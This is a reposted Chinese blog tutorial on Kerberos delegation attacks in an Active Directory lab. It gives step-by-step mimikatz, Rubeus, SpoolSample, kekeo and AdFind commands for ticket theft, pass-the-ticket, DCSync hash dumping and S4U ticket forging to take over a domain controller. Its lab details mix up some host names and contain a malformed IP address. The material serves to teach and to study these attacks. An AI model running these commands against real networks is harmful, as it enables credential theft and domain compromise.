委派攻击

一、委派概述

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。在域内只有主机账号和服务账号才有委派属性。

主机账号:活动目录中的computers组内的计算机,也被称为机器账号。

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如: SQLServer,MYSQL等。域用户通过注册SPN也能成为服务账号。

创建服务账号方式:

net user test123 Admin@123 /add /domain 创建一个普通用户
setspn -U -A priv/test test123 注册为服务账号

二、委派分类

1、非约束性委派

2、约束性委派

3、基于资源的约束性委派

三、非约束委派域控主动访问控制域控

1、实验环境

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.142.10 DC1 candadaadministrator candada 域控
域内机器 192.168142.31 win10-1 candadadc1-can candada 非约束委派

实验前提:控制了域内的一台机器win10-1,并且该机器的主机账号配置了非约束委派。

2、实验步骤

(1)使用Adfind查询域内非约束委派机器账号

AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

(2)使用Adfind查询域内非约束委派的服务账号

AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

(3)等待域控访问win10-2

(4)在win10-2机器导出内存中的票据

mimikatz sekurlsa::tickets /export

(5)进行票据传递就可以获取域控的权限

mimikatz kerberos::ptt [0;80d194]-2-0-40e10000-Administrator@krbtgt-TEST.CANDADA.COM.kirbi

(6)访问域控

(7)使用计划任务,服务,或者无文件的powershell上线

四、非约束委派域控被动访问控制域控

1、实验环境

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.142.10 DC1 candadaadministrator candada 域控
域内机器 192.168142.31 win10-1 candadadc1-can candada 非约束委派

实验前提:控制了域内的一台机器win10-1,并且该机器的主机账号配置了非约束委派。

2、实验步骤

(1)首先利用Rubeus在win10-2上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器DC2的登录信息

Rubeus.exe monitor /interval:1 /filteruser:DC1$
Rubeus.exe monitor /interval:1 /filteruser: DC1$ #加个空格效果不同

(2)再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

SpoolSample.exe DC2 win10-2

(3)Rubeus导入票据,这里导入用户权限不同,后续的操作不同

Rubeus.exe ptt /ticket:票据

(4)获取域内用户的hash

mimikatz lsadump::dcsync /all /csv

(5)如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

五、约束委派构造服务账户票据控制域控

1、实验环境

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.142.20 DC2 testadministrator test 域控
域内机器 192.168142.32 win10-2 testdc2-can test 非约束委派

实验前提:

(1)服务账户设置了约束性委派

(2)已知服务账户的密码口令信息

2、实验步骤

(1)使用 adfind发现服务账号test设置了约束委派

AdFind.exe -b "DC=test,DC=candada,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

(2)构造服务账户TGT的票据

kekeo.exe "tgt::ask /user:test /domain:test.candada.com /password:admin@123 /ticket:test.kirbi" "exit"

(3)利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据

shell kekeo.exe "tgs::s4u /tgt:TGT_test@TEST.CANDADA.COM_krbtgt~test.candada.com@TEST.CANDADA.COM.kirbi /user:Administrator@test.candada.com /service:cifs/dc2.test.candada.com" "exit"

(4)使用mimikatz将该票据注入当前的会话中

mimikatz kerberos::ptt TGS_Administrator@test.candada.com@TEST.CANDADA.COM_cifs~dc2.test.candada.com@TEST.CANDADA.COM.kirbi

(5)访问域控

六、约束委派构造机器账户票据控制域控

1、实验环境

机器位置 机器IP 机器名 机器登录用户 所属域 委派配置
域内域控制器 192.168.142.10 DC1 candadaadministrator candada 域控
域内机器 192.168142.31 win10-1 candadadc1-can candada 约束委派

实验前提:我们已经控制了win10-1的电脑,发现该电脑配置了约束性委派,并且可以读取到该电脑的机器用户的NTLM哈希。

2、实验步骤

(1)查询约束性委派的机器用户

AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

(2)查询约束性委派的服务用户

AdFind.exe -b "DC=candada,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

(3)使用mimikatz获取win10-1机器账户NTLM哈希

mimikatz sekurlsa::logonpasswords

(4)使用kekeo申请配置了约束委派机器账户win10-1$的TGT

kekeo.exe "tgt::ask /user:win10-1$ /NTLM:a9197ef923b9205592cfdea8232c279c /domain:candada.com" "exit"

(5)利用TGT通过伪造S4U请求以administrator身份访问win10-1的ST

shell kekeo.exe "tgs::s4u /tgt:TGT_win10-1$@CANDADA.COM_krbtgt~candada.com@CANDADA.COM.kirbi /user:Administrator@candada.com /service:cifs/dc1.candada.com" "exit"

(6)使用mimkatz注入

mimikatz kerberos::ptt TGS_Administrator@candada.com@CANDADA.COM_cifs~dc1.candada.com@CANDADA.COM.kirbi

(7)访问域控

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/candada/p/17509714.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!